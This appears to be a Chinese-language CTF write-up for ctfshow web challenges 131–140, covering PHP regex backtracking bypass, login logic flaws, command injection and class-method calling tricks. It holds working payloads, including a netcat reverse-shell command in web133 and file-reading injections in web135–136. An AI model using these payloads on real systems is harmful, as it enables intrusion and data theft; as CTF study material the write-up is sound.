web入门131-140
web131
分析代码

强制转换了类型,所以只能使用溢出回溯限制
PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种
贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。
非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。
编写一个脚本,url中的https要改成http
点击查看代码
import requests
url = ""
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132
先扫描目录

进入admin目录

首先username、password、code都不能为空
然后因为&&的优先级在||前面,所以可以看成if(($code === mt_rand(1,0x36D) && $password === $flag) || $username ==="admin")
所以只需要username=admin,就能进入下一关语句,code=admin,password=什么都可以,就会输出flag,构造payload
?username=admin&code=admin&password=1

web133
分析代码

看了大佬的wp,先使用`$F`;+sleep 3测试,发现可以执行命令,使用?F=`$F`;tac /f*,发现没有回显,使用nc反弹shell,用空格绕过
?F=`$F`;+n''c IP 9999 -e /bin/sh

web134
分析代码

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名,并将键值赋给这些变量。
对_POST进行extract,那么构造
?_POST[key1]=36d&_POST[key2]=36d


web135
分析代码

使用之前的payload
?F=`$F` ;cp flag.php x.txt
将文件复制到x.txt里面,然后直接访问x.txt获得flag

web136
分析代码

不会,直接看大佬wp,学到了
tee命令
主要用于从标准输入读取数据,并将其内容同时输出到标准输出(屏幕)和一个或多个文件中。简单来说,就像水管中的 T 形接头一样,数据流经过这里时,既可以继续流向下游,也可以分流保存到指定的文件中。
例子:echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt
?c=ls /|tee 3然后访问3,会自动下载,打开文件

?c=cat /f149_15_h3r3|tee 4然后访问4,获得flag

web137
分析代码

目的是调用getFlag类
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
POST:ctfshow=ctfshow::getFlag

web138
分析代码

不能有:,不能使用上一种方法
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。
POST:ctfshow[0]=ctfshow&ctfshow[1]=getflag

web139
分析代码

暂存
web140
分析代码

暂存

浙公网安备 33010602011771号